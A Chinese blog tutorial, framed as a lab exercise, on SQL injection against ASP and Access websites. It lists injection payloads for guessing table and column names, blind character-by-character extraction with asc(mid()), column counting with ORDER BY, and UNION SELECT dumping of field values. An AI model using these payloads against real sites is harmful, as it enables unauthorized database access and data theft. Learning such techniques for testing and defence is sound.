ASP+ACCESS注入

实验的环境:Windows+Access+IIS6.0+ASP

网站url例如:http://x.x.x/index.asp?id=1 ;网站内某篇文章里面例如?id=x这种形式

路径: C:\Inetpub\wwwroot


实验过程:

一、猜表名

可在注入点后提交如下语句进行查询:


and exists (select * from 表名)
and (select count(*) from 表名)>=0


上面的语句是判断数据库中是否存在指定数据库表名。如果页面返回出错,那么可更换其他常见数据库表明继续进行查询;

exists()是判断是否存在,存在返回true,否则返回false


二、猜字段名及字段长度

在注入点后提交如下语句:

 

and exists(select 字段名 from 表名) 
and (select count(字段名) from 表明)>=0



如果存在此字段名,返回页面正常,否则可更换字段名继续进行猜测。count(*)返回表中的记录数

 

三、猜解字段长度,可提交如下查询语句。

 

and (select top 1 len(字段名) from 表名)>1 
and (select top 1 len(字段名) from 表名)>2
and (select top 1 len(字段名) from 表名)>n 


 

当提交>n-1时正常,而提交到>n时返回错误,那么说明字段长度为ntop子句用来用于规定要返回的记录的数目。len()返回文本字段中值得长度。

猜字段值

 

四、猜字段的ascii值,可在注入点后提交如下查询语句:

 

and (select top 1 asc(mid (字段名,1,1)) from 表名)>0
and (select top 1 asc(mid (字段名,1,1)) from 表名)>1
and (select top 1 asc(mid (字段名,1,1)) from 表名)>n



当提交>n-1时正常,而提交>n时返回出错,那么说明字段值的ascii码为n,反查ascii码对应的字符,就可得到字段值的第一位字符。在继续提交如下查询:


and (select top 1 asc(mid (字段名,2,1)) from 表名)>0 



用于上面相同的方法,可得到第二位字符。在继续进行查询,直接猜解出字段的所有字符值为止。mid()函数用于从文本字段中提取字符,asc()函数可把字符串中的第一个字母转换为对应的ASCII码。

Order by 猜字段数目


五、利用order by 猜解字段数目,查询语句如下:

 

Order by 1
Order by 2
Order by n 



六、Union select 爆字段内容

 

得到字段长度后,就可利用union select查询获得字段内容了:


and 1=2 union select 1,2,3...,n from 表名 



执行上面的查询时,在页面中会返回数字,修改查询语句中的数字为字段名,例如提交如下代码:

 

and 1=2 union select 1,字段名,字段2...,n from 表名 


 

在页面中就会返回字段值,不必逐个进行猜解。

版权声明:若无特殊注明,本文为《Chin》原创,转载请保留文章出处。
本文链接:https://www.qinor.cn/post-19.html
正文到此结束

热门推荐

发表吐槽

你肿么看?

你还可以输入 250 / 250 个字

嘻嘻 大笑 可怜 吃惊 害羞 调皮 鄙视 示爱 大哭 开心 偷笑 嘘 奸笑 委屈 抱抱 愤怒 思考 日了狗 胜利 不高兴 阴险 乖 酷 滑稽

评论信息框
可使用QQ号实时获取昵称+头像

私密评论

吃奶的力气提交吐槽中...


既然没有吐槽,那就赶紧抢沙发吧!